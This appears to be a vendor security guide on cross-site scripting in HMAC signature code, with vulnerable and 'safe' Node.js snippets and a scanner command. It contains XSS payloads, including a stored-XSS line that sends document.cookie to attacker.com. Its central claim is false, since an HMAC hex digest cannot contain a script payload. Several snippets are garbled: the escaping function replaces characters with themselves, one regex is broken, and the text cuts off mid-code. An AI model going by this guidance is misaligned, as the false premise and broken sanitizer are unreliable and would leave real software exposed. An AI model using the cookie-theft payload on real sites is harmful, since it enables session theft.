Xss Cross Site Scripting with Hmac Signatures
How XSS Cross Site Scripting Manifests in HMAC Signatures
XSS vulnerabilities in HMAC signature implementations can create devastating attack chains that compromise both API security and client-side integrity. When HMAC signatures are generated or validated using data that contains unescaped user input, attackers can inject malicious scripts that execute in the context of legitimate API calls.
The most common HMAC XSS pattern occurs when error messages or debug information include raw signature values. Consider this vulnerable Node.js implementation:
const crypto = require('crypto');
function generateHMAC(message, key) {
const hmac = crypto.createHmac('sha256', key);
hmac.update(message);
const signature = hmac.digest('hex');
// VULNERABLE: Directly including signature in HTML response
return `<script>console.log('HMAC: ${signature}');</script>`;
}
// Attacker-controlled input flows directly into HTML
const maliciousMessage = '<img src=x onerror=alert(1)>';
const key = 'secretkey';
const response = generateHMAC(maliciousMessage, key);
This creates a reflected XSS where the HMAC signature generation process becomes an XSS injection vector. The attacker's payload flows through the HMAC calculation and gets embedded in the HTML response without proper escaping.
Another critical pattern involves HMAC-based authentication tokens stored in cookies or local storage that are later rendered in web pages. If an API returns HMAC-signed tokens and the frontend code directly injects these values into the DOM, XSS becomes trivial:
// Vulnerable frontend code
const token = localStorage.getItem('auth_token');
const displayElement = document.getElementById('token-display');
displayElement.innerHTML = `Your token: ${token}`; // XSS if token is attacker-controlled
DOM-based XSS with HMAC signatures occurs when JavaScript manipulates the DOM using data that includes signature values. Attackers can craft requests that generate signatures containing malicious payloads:
// Malicious request parameter
const payload = 'valid-data%3Cscript%3Ealert(1)%3C/script%3E';
const hmac = generateHMAC(payload, key); // Signature now contains script payload
Stored XSS with HMAC signatures is particularly dangerous when APIs store signed data in databases. If the signing process doesn't properly sanitize input, stored malicious payloads can affect multiple users:
// Stored XSS pattern
const maliciousInput = 'user-data<script>fetch('https://attacker.com/steal?data=' + document.cookie)</script>';
const storedSignature = generateHMAC(maliciousInput, key);
// Store in database, later rendered to other users
HMAC Signatures-Specific Detection
Detecting XSS in HMAC signature implementations requires a multi-layered approach that examines both the signature generation and validation processes. Static analysis tools should flag any code that combines cryptographic operations with HTML output without proper sanitization.
Code review patterns to identify:
// Red flags in HMAC implementations
const hmac = crypto.createHmac('sha256', key);
hmac.update(userInput); // User input flows directly into crypto
const signature = hmac.digest('hex');
// No sanitization before HTML output
return `<div>Signature: ${signature}</div>`;
Dynamic scanning with middleBrick can identify these vulnerabilities by testing HMAC endpoints with XSS payloads:
# middleBrick scan https://api.example.com/v1/auth/signature \
--test-xss \
--payloads="
, "
The scanner tests 27 XSS patterns across HMAC endpoints, checking if signature generation processes inadvertently execute injected scripts. It examines:
- Reflected XSS in error messages containing signature values
- Stored XSS in API responses that include HMAC-signed data
- DOM-based XSS when JavaScript processes HMAC signatures
- HTTP response splitting via malformed HMAC inputs
Runtime detection should monitor for unusual patterns in HMAC outputs. If signature generation consistently produces outputs that trigger browser security mechanisms, this indicates potential XSS:
// Monitoring for XSS indicators
function monitorHMACOutput(signature) {
if (signature.includes('<') || signature.includes('>')) {
console.warn('Potential XSS in HMAC output:', signature);
}
}
Security testing should include fuzzing HMAC endpoints with various XSS payloads and measuring responses for script execution, alert boxes, or network requests to attacker-controlled domains.
HMAC Signatures-Specific Remediation
Remediating XSS in HMAC signature implementations requires strict separation between cryptographic operations and HTML output. The fundamental principle is never to render raw signature values in web contexts.
Safe HMAC generation pattern:
const crypto = require('crypto');
function generateSafeHMAC(message, key) {
// Validate and sanitize input before processing
const sanitizedMessage = sanitizeInput(message);
const hmac = crypto.createHmac('sha256', key);
hmac.update(sanitizedMessage);
const signature = hmac.digest('hex');
// Never return HTML - return only the signature
return signature;
}
function sanitizeInput(input) {
// Remove or encode HTML special characters
return input
.replace(/&/g, '&')
.replace(//g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(///g, '/');
}
Frontend handling of HMAC signatures should use textContent instead of innerHTML:
// Secure frontend pattern
const token = localStorage.getItem('auth_token');
const displayElement = document.getElementById('token-display');
displayElement.textContent = `Your token: ${token}`; // Safe - uses textContent
For APIs that must return signature information in responses, use structured JSON with proper escaping:
// Secure API response
app.get('/api/v1/auth/signature', (req, res) => {
const message = req.query.message || '';
const key = process.env.HMAC_SECRET;
const signature = generateSafeHMAC(message, key);
res.json({
status: 'success',
signature: signature,
message: sanitizeInput(message)
});
});
Content Security Policy (CSP) headers provide additional protection:
// Set strict CSP headers
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'none'; script-src 'self'; style-src 'self'");
next();
});
Input validation should reject suspicious patterns before HMAC processing:
function validateHMACInput(input) {
// Reject inputs containing HTML/script tags
const suspiciousPatterns = [/